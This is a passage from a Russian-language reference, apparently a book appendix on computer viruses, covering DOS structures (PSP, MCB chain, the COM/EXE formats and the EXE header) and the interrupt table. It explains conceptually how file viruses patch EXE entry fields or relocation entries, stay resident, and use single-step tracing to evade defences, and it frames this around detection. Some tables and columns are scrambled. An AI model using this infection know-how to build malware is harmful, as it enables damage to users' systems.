байты в программном сегменте (только для файла COM). Далее следуют три четырехбайтовых поля имеющие формат <смещ.> <сегмент> и содержащие соответственно адрес завершения(см. INT 22h)[+0Ah;4], адрес обработки Ctrl-Break(см. INT 23h)[+0h;4] и обработчик критических ошибок (см. INT 24h)[+12h;4]; За ними идет резервная область DOS [+16h;16h-2B]. Поле EnvSeg[+2Ch;2] содержит сегментный адрес окружения DOS. Далее следует еще одна резервная область DOS [+2Eh;2Eh-5B]; Форматированная область первого параметра [+5Ch;10h] содержит FCB для 1-го параметра. Аналогично форматированная область второго параметра [+6Ch;14h] содержит FCB для 2-го параметра. Поле Len [+80h;1] содержит длину области UPA (с адреса 81h) также смещение умалчиваемой DTA. За полем Len расположена неформатированная область параметров содержит символы, полученные из командной строки DOS[+81h;7Fh]; (кроме директив переназначения). Начало кода для COM или EXE-файла, загруженных в оперативную память находится по смещению 100h. Отметим, что при загрузке заголовок EXE-файла загружается отдельно и в памяти файл типа EXE начинается с байтов, непосредственно следующих за заголовком. БЛОК УПРАВЛЕНИЯ ПАМЯТЬЮ (MCB) Это управляющий блок, используемый DOS при распределении, модификации и освобождении блоков системной памяти. Анализ цепочки этих блоков позволяет, в частности, получить сведения об имеющихся резидентных программах. 0 1 2 3 4 5 6 7 8 9 A B C D E F ╓───╥───┬───╥───┬───╥───┬───────┬───────┬───────┬───────┬───────┐ 10 ║Тип║Вл-лец ║Размер ║ зарезервировано зарезервировано │ ╟───╨───┼───╨───┼───╨───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┤ 20 ║ Начало блока памяти (для блока с загруженной программой - PSP) ╙───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼ Рис.10. Структура блока управления памятью Блоки управления памятью всегда выравнены на границу параграфа ("сегмент блока"). Поле тип - может принимать два значения 'M'(4Dh), если за этим блоком есть еще блоки и 'Z'(5Ah), если данный блок является последним; поле "Владелец"(соответствующая графа обычно обозначается Parent, Owner) содержит параграф владельца (для FreeMem). Если 0, то владельцем является сам данный блок; поле "Размер"(Size) содержит число параграфов в этом блоке. Блок памяти - начало информации, расположенной в данном блоке. Общий обьем этой информации равен (Размер*10h) байт. Сегментный адрес начала блока памяти возвращает функция 48h AllocMem. Для блока M-типа следующий блок находится по адресу (сегмент_блока+Размер):0000, а для блока Z-типа выражение (сегмент_блока+Размер):0000 всегда указывает на конец оперативной памяти (для систем с 640K это адрес: a000:0000h). После функции 4Bh Exec, Z-блок начинается с (PSP-1):0000 нового процесса В списке резидентных резидентных программ могут оказаться и простые резидентные вирусы, хотя более сложные резидентные вирусы маскируются таким образом, чтобы обойти данную возможность обнаружения. Список MCB можно получить с помощью специальных утилит ( например SYSMAP, MEMANAL, RELEASE и др.). Эти утилиты отличаются удобством и степенью подробности выдаваемой информации. Ниже приведен протол, выдаваемые утилитой SYSMAP. PC SYSTEM MAP V3.00 Video Trends Software 1989 ───────────────────────────────────────────────────────────────────────────── Segment Size Program Parent Cooked Vectors 0000 001,024 INTERRUPT VECTOR TABLE 0040 000,256 BIOS DATA AREA 0050 000,512 DOS COMMUNICATION AREA 1E 0070 008,928 IO.SYS BOOT RECORD 01 03 04 0F 13 1B 29 EF F3 F7 FA 029E 029,920 MSDOS.SYS IO.SYS 20 26 2A 2B 2C 2D 31 32 34 35 36 37 38 39 3A 3B 3C 3D 3E 3F 09ED 012,784 EMMXXXX0 IO.SYS 67 F6 0D0C 000,112 PCKXXXX0 IO.SYS 25 0D13 000,768 1 units IO.SYS 19 0D43 000,928 4DOSSTAK IO.SYS 0D7D 001,072 HANDLE TABLE IO.SYS 0DC0 000,224 FCBs TABLE IO.SYS 0DCE 020,592 DOS BUFFERS IO.SYS EE FF 12D5 000,576 DRIVE TABLES IO.SYS 12F9 003,824 DOS STACKS IO.SYS 02 0E 70 76 13E9 002,992 COMMAND.COM COMMAND.COM 2E 14A5 000,512 COMMAND.COM ENVIRONMENT 14C6 000,080 RELEASE.COM ENVIRONMENT 14CC 003,488 RELEASE.COM COMMAND.COM 21 27 15A7 000,128 MOUSE.COM ENVIRONMENT 15A7 000,128 MOUSE.COM ENVIRONMENT 15B0 010,048 MOUSE.COM COMMAND.COM 0A 33 1825 000,128 CPANEL.COM ENVIRONMENT 182E 032,928 CPANEL.COM COMMAND.COM 2039 000,128 UNIEGA.COM ENVIRONMENT 2042 006,480 UNIEGA.COM COMMAND.COM 10 1F 44 21D8 000,128 UNIKBD.COM ENVIRONMENT 21E1 2217 2220 2547 2550 2571 257B 2627 2630 266E 2724 000,848 000,128 012,896 000,128 000,512 000,144 002,736 000,128 000,976 002,896 025,120 UNIKBD.COM NC.EXE NC.EXE COMMAND.COM COMMAND.COM PCMAP1.EXE FREE TXTSCR.COM TXTSCR.COM COMMAND.COM PCMAP1.EXE COMMAND.COM ENVIRONMENT COMMAND.COM ENVIRONMENT ENVIRONMENT ENVIRONMENT UNKNOWN ENVIRONMENT UNKNOWN COMMAND.COM COMMAND.COM 16 08 09 28 00 22 23 24 2F Dos Memory: 655,360 bytes Block Memory: 655,360 bytes Free Memory: 469,920 bytes Как видно из приведенной карты, обычно в MS DOS используется порядка десятка резидентных программ различного назначения и выявить "лишнюю" даже если она видна, не так просто. Поэтому желательно иметь распечатку "эталонной" карты памяти с которой можно сравнить имеющуются. ФОРМАТ ИСПОЛНЯЕМЫХ ПРОГРАММ В MS DOS В MS DOS имеются два основных формата EXE. Файл COM-формата - это двоичный образ Такой файл должен занимать менее 64K. Файл специальный заголовок, при помощи которого ссылок на сегменты в загруженном модуле. исполняемых программ: СOM и кода и данных программы. EXE-формата содержит загрузчик выполняет настройку Ввиду сегментации адресного пространства процессора 8088/86/286 и того факта, что переходы (JMP) и вызовы (CALL) используют относительную адресацию, оба типа программ (EXE и COM) могут выполняться в любом месте памяти. Программы обычно не пишутся в предположении, что они будут загружаться с определенного адреса (за исключением некоторых самозагружающихся, защищенных от копирования игровых программ). Программы типа EXE могут состоять из нескольких сегментов и могут выполняться любом месте памяти только потому, что DOS настраивает сегментные адреса при загрузке. COM-программы COM-программы содержат единственный сегмент (или, во всяком случае, не содержат явных ссылок на другие сегменты). Образ COM-файла считывается с диска и помещается в память, начиная с PSP:0100. COM-программы обычно используются для небольших утилит. Они быстрее загружаются, ибо не требуется настройки сегментов, и занимают меньше места на диске, поскольку заголовок EXE и сегмент стека отсутствуют в загрузочном модуле. После загрузки СОM-файла: 1. CS, DS, ES и SS указывают на PSP; 2. SP указывает на конец сегмента PSP (обычно 0FFFEh, но может быть и меньше, если полный 64K сегмент недоступен, например при работе отладчика). Слово по смещению 06h в PSP указывает, какая часть программного сегмента доступна; 3. вся память системы за программным сегментом распределена программе; 4. слово 00h помещено (PUSH) в стек; 5. IP содержит 100h (первый байт модуля) в результате команды JMP PSP:100 EXE-программы EXE-программы содержат несколько программных сегментов, включая сегмент кода, данных и стека. EXE-файл загружается, начиная с адреса PSP:0100. В процессе загрузки считывается информация заголовка EXE в начале файла и выполняется перемещение адресов сегментов. После перемещения управление передается загрузочному модулю посредством инструкции далекого перехода (FAR JMP) к адресу CS:IP, извлеченному из заголовка EXE. В момент получения управления программой EXE-формата: 1. DS и ES указывают на PSP; 2. CS, IP, SS и SP инициализированы значениями, указанными в заголовке EXE; 3. поле PSP MemTop содержит значение, указанное в заголовке EXE. Обычно вся доступная память распределена программе. 0 1 2 3 4 5 6 7 8 9 A B C D E F ┌───────╥───────╥───────╥───────╥───────╥───────╥───────╥───────┐ 00 │ Sign ║PartPag║PageCnt║ReloCnt║HdrSize║MinMem ║MaxMem ║ReloSS │ ├───┴───╫───┴───╫───┴───╫───┴───╫───┴───╫───┴───╫───┴───╨───┴───┤ 10 │ExeSP ║ChkSum ║ExeIP ║ReloCS ║TablOff║Overlay║ Rel.Table El │ ├───┴───╨───┴───╫───┴───╨───┴───╫───┴───╨───┴───╫───┴───────┴───┤ 20 │смещ. сегмент ║ смещ. сегмент║ ... ... ║ ... ... │ └───┴───┼───┴───╨───┴───┼───┴───╨───┴───┼───┴───╨───┴───┼───┴───┘ 30 ├───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┤ ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ... ├───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┤ 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ├───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┤ 200 начало кода EXE-программы ├───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┼───┴───┤ 1F0 Рис.11. Структура заголовка файла EXE-формата Как видно из рис. 11 заголовок состоит из двух частей: форматированной части (первые 1Ch байт) и таблицы перемещения (Relocation Table) переменного размера, причем начало таблицы перемещений определяется значением поля TablOff (обычно это поле содержит 1Ch, но могут быть и другие значения). Форматированная часть заголовка включает 14 двухбайтовых полей: Sign PartPag PageCnt ReloCnt HdrSize MinMem MaxMem ReloSS ExeSP ChkSum - ExeIP ReloCS TablOff Overlay - "подпись" EXE-файла (4Dh 5Ah -'MZ')[0;2]; длина неполной последней страницы (обычно игнорируется)[2;2]; длина образа загружаемой программы в 512-байтовых страницах, включая заголовок [4;2]; число элементов в таблице перемещения[6;2]; длина заголовка в 16-байтовых параграфах[8;2]; мин. треб. памяти за концом программы (параграфы)[0Ah;2]; макс.треб. памяти за концом программы (параграфы)[0Ch;2]; сегментное смещение сегмента стека (для устан. SS)[0Eh;2] значение регистра SP (указателя стека) при запуске [10h;2] контрольная сумма (отрицательная сумма всех слов файла; в существующих версия MS DOS, к сожалению, при загрузке не проверяется) [12h;2] значение регистра IP(указателя команд) при запуске[14h;2]; сегментное смещение код. сегмента (для устан. CS)[16h;2]; смещение для 1-го элемента перемещения (часто 1Ch) [18h;2]; номер оверлея (0 для главного модуля)[1Ah;2]; Как видно из приведенной структуры, заголовок EXE-файла, всегда начинается с подписи MZ. После загрузки программы, загрузчик анализирует эти первые два байта и, если они содержат "MZ", то рассматривает даный файл как EXE- файл, независимо от расширения имени файла (оно может быть и COM и BIN, а не только EXE). Эта особенность MS DOS учитывается не всеми файловыми вирусами. Поэтому, если при заражении вирус исходит из предположения, что тип файла соответствует расширению его имени, то он неправильно заражает "замаскированные" EXE-файлы, которые после заражения, естествнно, становятся неработоспобными. В то же время этот эффект потери работоспособности является обратимым: после лечения фагом заголовок будет восстановлен. Обычно заголовок имеет размер 512 байт (200h) и значительная часть его неиспользуется (содержит нули). Файловые вирусы при заражении изменяют заголовок EXE-файла и это обстоятельство можно использовать для контроля. Обычно файловые вирусы изменяют значение полей ExeIP и ReloCS таким образом, чтобы они указывали на начало тела вируса, дописанного в конце программы (перед передачей управления программе загрузчик заносит в регистры значения из соответствующих полей заголовка, а затем передает управление по адресу CS:IP). Некоторые вирусы используют способ, неосторожно "рекомендованный" Д.Н.Лозинским в документации к полифагу AIDSTEST и основанный на корректировке соответствующего элемента Relocation Table. Как уже указывалось, эта таблица начинается с байта, адрес которого указан в поле TablOff (обычно 1Ch) и имеет ReloCnt элементов. Каждый элемент занимает четыре байта и содержат два поля: <смещение> и <сегмент>: Формат таблицы перемещения (Relocation table) ┌───────┬───────┬ ─ ─ ┬───────┬───────┐ │ смещ. сегмент│ │ смещ. сегмент│ └───┴───┴───┴───┴ ─ ─ ┴───┴───┴───┴───┘ Загрузчик добавляет к каждому из слов, определенных адресом соответствующего элемента таблица перемещений, адрес начала сегмента (обычно PSP +10h). Легко видеть, что этот процесс можно использовать для изменения команды перехода или вызова подпрограммы, содержащегося по адресу ReloCS:ExeIP, как бы возвращаясь тем самым к способу, обычно применяемому вирусами при заражении COM-файла. РЕЗИДЕНТНЫЕ ПРОГРАММЫ Выход из программы в MS DOS можно выполнить двумя способами: 1. С помощью функции 4Ch (EXIT) в любой момент, независимо от значений регистров. 2. С помощью функции 00h или прерывания INT 20h, когда Ваш CS указывает на PSP. В этих случаях занимаемая программой память освобождается. Кроме того, MS DOS позволяет завершить программу и оставить ее постоянно резидентной (TSR), используя либо INT 27h , либо функцию DOS 31h (KEEP). Последний способ применяется, когда резидентный код длиннее 64K или необходимо сформировать код выхода для родительского процесса. Концепция TSR-программы используется большинством файловых и всеми бутовыми вирусами для того, контроливать выполняемые операционной системой операции и чтобы заражать выполняемые или открываемые на чтени программы. ПРИЛОЖЕНИЕ 8 ПРЕРЫВАНИЯ MS DOS Прерывание - это сигнал от программного обеспечения или аппаратуры, который позволяет центральному процессору переключаться между заданиями. При отсутствии прерываний центральный процессор должен бы был непрерывно отслеживать состояние того или иного внешнего устройства. В первом приближении прерывание можно представлять как выполнение команды безусловного перехода на определенную ячейку памяти при возникновении того или иного сигнала с внешнего устройства или от программы. В большинстве архитектур ЭВМ имеется специальная команда, позволяющая отключить прерывания за исключением одного-двух наиболее высокоприоритетных с тем, чтобы иметь возможность обработать определенное прерывание без потери управления в результате возникновения в процессе обработки другого прерывания. Следует отметить, что в строгом смысле этого слова прерыванием можно называть только те, которые ведут к приостановке действия текущей программмы и выполнению каких-то дополнительных действий. Для микропроцессора 8086/286/386 такими "строгими" прерываниями являются только некоторые из описываемых ниже прерываний. В MS DOS функции по управлению процессами и файловой системой также привязаны к определенным прерываниям, однако не являются прерываниями в строгом смысле этого слова. По сути они являются функциями - точками входа в модуль BIOS или MS DOS реализующий соответствующую операцию. Использование прикладной программой той или иной функции удобно выполнять, используя обращение к соответствующему прерыванию, поскольку отпадает необходимость знать адрес начала модуля, реализующего эту функцию. Поэтому прерывания можно условно разделить на три группы: Собственно прерывания, сервис и указатели: Прерывания Сервис Указатели ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ INT 00H Деление на 0 INT 10H Видео сервис INT 1dH Видео параметры INT 01H Пошаговое INT 11H Список оборудования INT 1eH Параметры дискет INT 02H Немаскируемое INT 12H Размер исп.памяти INT 1fH Символы графики INT 03H Точка прерыв. INT 13H Дисковый в/в INT 04H Переполнение INT 14H В/в через последовательный порт INT 05H Печать экрана INT 15H Расшир.сервис AT INT 41H параметры INT 06H (резерв) INT 16H В/в клавиатуры первого винчестера INT 07H (резерв) INT 17H В/в принтера INT 46H параметры второго INT 08H Таймер INT 18H ROM-BASIC винчестера INT 09H Клавиатура INT 19H Загрузка INT 44H граф. симв. EGA INT 0aH-0dH (hdwr ints) INT 1aH В/в таймера INT 4aH user alarm addr INT 0eH Дискета INT 1bH Прерывание клавиатуры INT 50H CMOS timer int INT 0fH (hdwr int) INT 1cH Пользовательское прерывание по таймеру INT 20H-2fH Прерывания MS DOS В микропроцессоре 8086/8088 предусмотрено 256 различных типов прерываний. Команда INT данного микропроцессора имеет однобайтовое поле, в котором записывается номер прерывания. Например, команда INT 21 обеспечивает обращение к 21 прерыванию (здесь и далее номера прерываний приводятся в 16-ричной системе счисления, 21h = 33d). Поскольку вместо адреса в команде INT указывается тип прерывания (номер), то имеется специальная таблица прерываний, ставящая в соответствие каждому номеру прерывания адрес подпрограммы обработки этого прерывания. В микропроцессоре 8086/286/386 для этой цели отводятся нижние 1024 байта памяти - по 4 байта на каждое прерывание. В процессе интерпретации команды процессор запоминает состояние флажков в стеке (специальной области памяти, организованной по принципу первым пришел - первым ушел), умножает номер прерывания на 4, считывает соответствующий элемент таблицы прерываний и выполняет переход по содержащемуся в нем адресу. Когда подпрограмма обработки прерывания отработает, она с помощью специальной команды восстанавливает значения флажков из стека, загружает в соответствующие регистры адрес команды, следующей за точкой прерывания, и возвращает управление по этому адресу. Очевидно, что заменив адрес в таблице прерываний, можно тем самым заменить обработчик прерываний на свой собственный. Эта операция и называется перехватом прерывания. В приводимой ниже таблицы перечислены основные прерывания с некоторыми пояснениями. Для экономии места пояснения вставлены "в разрыв" таблицы. При составлении таблицы были использованы материалы из электронного справочника TECHHELP Дана Роллингса (D.Rollings). Изложение ориентировано на облегчение разбора протоколов трассировки и листингов дизассемблирования программистам, не работающим на ассемблере. Таблица ┌──┬───┬──┬──────────┬──────────────┬──────────────────────────────────┐ │П │ │В │ │ │ │ │р │ │е │ │ │ │ │е │ │р │ │ │ │ │р │AH │с.│ Тип │ Английская │ Перевод │ │ы │ │D │прерывания│ мнемоника │ │ │в.│ │O │ │ │ │ │ │ │C │ │ │ │ └──┴───┴──┴──────────┴──────────────┴──────────────────────────────────┘ ╒══╤═══╤══╤══════════╤══════════════╤══════════════════════════════════╕ │00│ - │- │ Aппарат.,│ Divide error │ переполнение при делении │ │ │ │ │ прерыв. │ │ │ └──┴───┴──┴──────────┴──────────────┴──────────────────────────────────┘ Возникает после выполнения команд деления (DIV или IDIV), если результат операции деления (частное) не умещается в поле результата, в частности при делении на 0. ╒══╤═══╤══╤══════════╤══════════════╤══════════════════════════════════╕ │01│ - │- │ Aппарат.,│ Single-step │ пошаговое выполнение программы │ │ │ │ │ прерыв. │ │ │ └──┴───┴──┴──────────┴──────────────┴──────────────────────────────────┘ Если установлен флаг трассировки процессора (TF=1), CPU вызывает это прерывание после каждой команды. Некоторые вирусы используют пошаговое выполнение программы, используют это прерывание, чтобы определить адрес прерываний и обойти резидентные средства защиты. Трассировка отключается (TF=0) при выполнении любой команды INT, так что само INT 01H выполняется не в пошаговом режиме. ╒══╤═══╤══╤══════════╤══════════════╤══════════════════════════════════╕ │02│ - │- │ Aппарат.,│ NMI │ Non-maskable interrupt │ │ │ │ │ прерыв. │ │ (немаскируемое прерывание). │ └──┴───┴──┴──────────┴──────────────┴──────────────────────────────────┘ Немаскируемое прерывание (NMI) - это единственное прерывание, не запрещаемое командой CLI. Поэтому его можно использовать в специальных случаях, которые требуют немедленного действия. Это прерывание спроектировано для обработки катастрофических ситуаций, таких как сбой питания. В системе, обеспечивающей целостность данных, NMI может, например, выводить образ памяти на диск с целью избежать потери данных. В стандартной системе PC BIOS, NMI аппаратно вызывается в случае "ошибки четности" памяти. Когда это происходит, PC зависает. ╒══╤═══╤══╤══════════╤══════════════╤══════════════════════════════════╕ │03│ - │- │ Указатель│ 1-Byte │ Прерывание по заданному │ │ │ │ │ │ interrupt │ байту │ └──┴───┴──┴──────────┴──────────────┴──────────────────────────────────┘ Вектор прерывания INT 03H используется отладчиками, чтобы перехватывать управление, когда программа достигает указанного пользователем адреса. Код операции для INT 03H занимает один байт (CCh), так что им можно временно замещать начало любой команды, не боясь затереть следующую команду. ╒══╤═══╤══╤══════════╤══════════════╤══════════════════════════════════╕ │04│ - │- │ Aппарат. │ Overflow │ Прерывание по переполнению │ │ │ │ │ прерыв. │ │ │ └──┴───┴──┴──────────┴──────────────┴──────────────────────────────────┘ Вектор INT 04H может использоваться как один из способов оптимизации программ, содержащих большое число арифметических операций. Выданная после любой арифметической операции, команда INTO осуществляет проверку на арифметическое переполнение, и, если флаг переполнения взведен (OF=1), вызывает прерывание INT 04H. ╒══╤═══╤══╤══════════╤══════════════╤══════════════════════════════════╕ │05│ - │- │ Пользов. │ Print-screen │ Печать экрана (нажатие │ │ │ │ │ прерыв. │ │ клавиши PrtScr) │ └──┴───┴──┴──────────┴──────────────┴──────────────────────────────────┘ Это прерывание вызывается обработчиком прерывания INT распознавании клавиши PrtSc. Оно может также вызываться из частности, вируса). Пересылает содержимое экрана активного на принтер, если принтер свободен и находится в со стоянии Операция может быть прекращена по Control-Break 09H при программы (в дисплея "ГОТОВ". ╒══╤═══╤══╤══════════╤══════════════╤══════════════════════════════════╕ │08│ │ │Aппарат. │TIMER TICKS │ Прерывание от таймера │ │ │ │ │(8259-1, │ │ │ │ │ │ │IRQ 0), │ │ │ │ │ │ │прерыв. │ │ │ └──┴───┴──┴──────────┴──────────────┴──────────────────────────────────┘ Прерывание от основного таймера, контролирующие системные часы и другие системные ресурсы. Возникает каждые каждые 55мс, или около 18.2 раз в секунду. Имеет наивысший среди маскируемых прерываний приоритет. Данное прерывание является системным и его главная функция - увеличение значения 32 битового счетчика системных часов. Кроме того это прерывание выключает мотор флоппи диска, если он не используется в течении 2-х секунд. Имеется аналогичное пользовательское прерывание 1C (см. ниже). ╒══╤═══╤══╤══════════╤══════════════╤══════════════════════════════════╕ │09│ - │- │Aппарат. │KEYBOARD I/O │ Прерывание от клавиатуры │ │ │ │ │(8259-1, │ │ │ │ │ │ │IRQ 1), │ │ │ │ │ │ │прерыв. │ │ │ └──┴───┴──┴──────────┴──────────────┴──────────────────────────────────┘ Возникает при нажатии клавиши клавиатуры или их комбинации. Заносит скан-код клавиши в буфер клавиатуры. При переполнении буфера выдает на динамик звуковой характерный звуковой сигнал. Некоторые комбинации нажатий клавиш вызывают специальные действия: Ctrl-Alt_Del - перезагрузка компьютера путем прехода на по адресу; Print screen рассмотрено выше Ctrl-Break - вызывает прерывание1B; Pause - переводит программу в состояние ожидания до нажатия следующей клавиши отслеживает состояние клавиш Shift и различных Lock. Резидентные программы, которые имеют клавишу (или комбинацию клавиш) для вызова, перехватывают INT 09H и проверяют на определенный ключ. ╒══╤═══╤══╤══════════╤══════════════╤══════════════════════════════════╕ │ │ │ │ │ │ │ │0E│ - │- │Aппарат. │FLOPPY DISK │Прерывание от дискеты │ │ │ │ │(8259-1, │CONTROLLER │ │ │ │ │ │IRQ 6), │ │ │ │ │ │ │прерыв. │ │ │ └──┴───┴──┴──────────┴──────────────┴──────────────────────────────────┘ Аппаратно генерируемое прерывание (IRQ 6), вызываемое контроллером флоппи-дисков, используется прерыванием 13H ╒══╤═══╤══╤══════════╤══════════════╤══════════════════════════════════╕ │10│fun│- │ сервис │VIDEO DISPLAY │ VIDEO │ │ │ │ │ BIOS │ SERVICES │ │ └──┴───┴──┴──────────┴──────────────┴──────────────────────────────────┘ Типичное "пользовательское" прерывание, имеющее подфункции, задаваемые в регистре AH: AH ▀▀▀ 00H 01H 02H 03H 04H 05H 06H 07H 08H 09H Сервис ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ уст. видео режим уст. размер и форму курсора уст. позицию курсора читать позицию курсора читать световое перо выбрать активную страницу дисплея листать окно вверх (или очистить) листать окно вниз читать символ/атрибут писать символ/атрибут AH ▀▀▀ 0aH 0bH 0cH 0dH 0eH 0fH 10H 11H 12H 13H Сервис ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ писать символ выбрать палитру/цвет бордюра писать графическую точку читать графическую точку писать символ в режиме TTY читать видео режим EGA:уст. палитру EGA:генератор символов EGA:специальные функции писать строку (только AT + EGA) ╒══╤═══╤══╤══════════╤══════════════╤══════════════════════════════════╕ │ │ │ │ │ │ │ │12│-- │- │ сервис │ SYSTEM │Размер используемой памяти │ │ │ │ │ BIOS │ MEMORY SIZE │ │ └──┴───┴──┴──────────┴──────────────┴──────────────────────────────────┘ Возвращает размер системной памяти в килобайтах в регистре AX Это значение совпадает с тем, которое которое хранится в ячейке 0:413 (см. карту оперативной памяти а прил.3). Для PC/XT определяется во время начальной загрузки (POST). Для AT - из CMOS-памяти. Возвращаемое значение содержит PSP любой программы. ╒══╤═══╤══╤══════════╤══════════════╤══════════════════════════════════╕ │13│fun│- │ сервис │ DISK │ Дисковый ввод-вывод │ Reset disk system │ │ │ │ BIOS │ SERVICES │ │ └──┴───┴──┴──────────┴──────────────┴──────────────────────────────────┘ Этот сервис предоставляет прямой доступ к адаптерам дискеты и винчестра. Имеет ряд подфункций ( подфункции > 8 - только для винчестера) 00h сброс контроллера 08h дать парам.диска 10h проверить готовность 01h дать статус 09h иниц табл.парам 11h рекалибрация 02h читать секторы 0Ah длинное чтение 14h диагностика 03h писать секторы 04h верификация 05h форматир дорожку 0Bh длинная запись 0Ch искать цилиндр 0Dh альтерн.сброс 15h дать тип диска 16h изменить статус 17h уст.тип диска ╒══╤═══╤══╤══════════╤══════════════╤══════════════════════════════════╕ │14│fun│- │ сервис │ RS-232 SERIAL│ Ввод-вывод через │ │ │ │ │ BIOS │PORTS SERVICES│ последовательный порт │ └──┴───┴──┴──────────┴──────────────┴──────────────────────────────────┘ Эти функции BIOS предоставляют доступ к двум портам RS-232. Начиная с 0:0400, хранятся базовые адреса до 4-х последовательных портов, однако POST проверяет и инициализирует лишь два первых порта. ╒══╤═══╤══╤══════════╤══════════════╤══════════════════════════════════╕ │15│fun│AT│ сервис │ GENERAL │ Расширенный сервис для AT │ │ │ │ │ BIOS │ SERVICES │ │ └──┴───┴──┴──────────┴──────────────┴──────────────────────────────────┘ Прерывание 15h обрабатывает специфические функции AT: 80h Device Open 86h Wait 81h Device Close 87h Move Extended Mem Block 82h Program terminate 88h Get Extended Mem Size 83h Event wait 89h Switch to Virtual Mode 84h Joystick 90h Device Busy Loop 85h SysReq key 91h Finish Interrupt ╒══╤═══╤══╤══════════╤══════════════╤══════════════════════════════════╕ │16│fun│--│ сервис │ KEYBOARD │Сервис клавиатуры │ │ │ │ │ BIOS │ SERVICES │ │ └──┴───┴──┴──────────┴──────────────┴──────────────────────────────────┘ Обеспечивает интерфейс с клавиатурой для прикладной программы. Нажатия клавиш на самом деле обрабатываются асинхронно на заднем плане. Когда клавиша получена от клавиатуры, она обрабатывается прерыванием 09h и помещается в циклическую очередь (буфер клавиатуры). ╒══╤═══╤══╤══════════╤══════════════╤══════════════════════════════════╕ │17│fun│--│ сервис │ PRINTER │ Поддержка принтера │ │ │ │ │ BIOS │ SERVICES │ │ └──┴───┴──┴──────────┴──────────────┴──────────────────────────────────┘ Данное сервисное прерывание предоставляет доступ к портам параллельных принтеров (LPT1 и т.д.). Адреса портов принтеров хранятся, начиная с 0:0408. ╒══╤═══╤══╤══════════╤══════════════╤══════════════════════════════════╕ │18│ │ │ Указатель│ TRANSFER │ Встроенный Бейсик │ │ │ │ │ BIOS │ TO ROM BASIC │ │ └──┴───┴──┴──────────┴──────────────┴──────────────────────────────────┘ Этот вектор содержит точку входа для интерпретатора ROM-BASIC, который установлен только на оригинальных компьютерах фирмы IBM. Клоны не имеют BASIC в ROM-памяти и должны использовать отдельную программу, обычно GWBASIC. Иногда используется для обработки ситуации, когда ни один из дисков не читается (сбоит или отсутсвует). ╒══╤═══╤══╤══════════╤══════════════╤══════════════════════════════════╕ │19│ - │- │ сервис │ BOOTSTRAP │ Начальный загрузчик │ │ │ │ │ BIOS │ LOADER │ │ └──┴───┴──┴──────────┴──────────────┴──────────────────────────────────┘ Выполняет попытку считывания бутсектора с дисковода А или C. Если чтение оказалось успешным, то управление передается считанному начальному загрузчику. Этот вектор рассматривается после POST , чтобы попытаться загрузить и выполнить какой-либо код "начального вызова" на дискете или винчестера. Данные в секторе 1 дорожки 0 головки 0 дисковода 0 для первого откликнувшегося диска (дискеты или винчестера) загружаются по абсолютному адресу 0000:7c00, и управление передается по этому адресу. Если опрос всех дисков неудачен, управление передается на прерывание INT 18h . На винчестере, этот код в "корневом секторе" в действительности определяет MBR, который исходя из данных в Partiton Table затем загружает и выполняет бутсектор соответствующего раздела. Это передает управление активной операционной системе диска. Это прерывание используется вирусами "переживающими" теплую перезагрузку. ╒══╤═══╤══╤══════════╤══════════════╤══════════════════════════════════╕ │1A│fun│--│ сервис │ REAL TIME │ Ввод-вывод для времени │ │ │ │ │ BIOS │CLOCK SERVICES│ │ └──┴───┴──┴──────────┴──────────────┴──────────────────────────────────┘ Эта сервис предоставляет доступ к системным часам. PC BIOS работает со "счетчиком тиков" - числом 55-мс интервалов, прошедших с момента включения или сброса PC. BIOS PC/AT предоставляет также доступ к значениям часов реального времени, которые постоянно обновляются независимо от работы процессора и хранятся в CMOS-памяти компьютера AT. ╒══╤═══╤══╤══════════╤══════════════╤══════════════════════════════════╕ │1B│ - │--│Указатель │ KEYBOARD │ Прерывание от нажатия клавиши │ │ │ │ │ │ BREAK │ Control-Break │ └──┴───┴──┴──────────┴──────────────┴──────────────────────────────────┘ Этот вектор (0:006c) берется, когда BIOS распознает нажатие клавиши Ctrl-Break. INT 1bh первоначально указывает на IRET, но DOS устанавливает его на локальную программу, которая взводит внутренний флаг DOS. DOS время от времени проверяет этот флаг и действует в соответствии с действующим режимом обработки прерываний. (см прил.5 функции 33h и INT 23h, используемые для обработки Ctrl-Break в программе). ╒══╤═══╤══╤══════════╤══════════════╤══════════════════════════════════╕ │1C│ - │--│Программно│CLOCK TICK │Пользовательское прерывание │ │ │ │ │аппаратное│TIMER TICKS - │по таймеру │ │ │ │ │прерывание│ │ │ └──┴───┴──┴──────────┴──────────────┴──────────────────────────────────┘ Этот вектор (0:0070) BIOS берет по каждому тику аппаратных часов (каждые 55 миллисекунд; приблизительно 18.2 раз в секунду). Первоначально он указывает на IRET, но может быть изменен пользовательской программой, чтобы адресовать фоновую программу пользователя, базирующуюся на таймере. ╒══╤═══╤══╤══════════╤══════════════╤══════════════════════════════════╕ │1D│ - │--│ указатель│6845 VIDEO │ Указатель видеопараметров │ │ │ │ │ BIOS │INIT TABLES │ │ └──┴───┴──┴──────────┴──────────────┴──────────────────────────────────┘ Этот вектор (0:0074) указывает на совокупность видео параметров, используемых прерыванием INT 10h для установки регистров видеоконтроллера и некоторых констант BIOS при инициализации режима видео. Можно создать RAM-резидентную версию этой таблицы и модифицировать параметры, чтобы изменить работу некоторых экранных режимов. Например, таким способом команда DOS "Mode" сдвигает экран влево или вправо. ╒══╤═══╤══╤══════════╤══════════════╤══════════════════════════════════╕ │1E│ - │--│ Указатель│DISKETTE PARAM│Указатель параметров дискеты │ │ │ │ │ BIOS │(BASE TABLE) │ │ 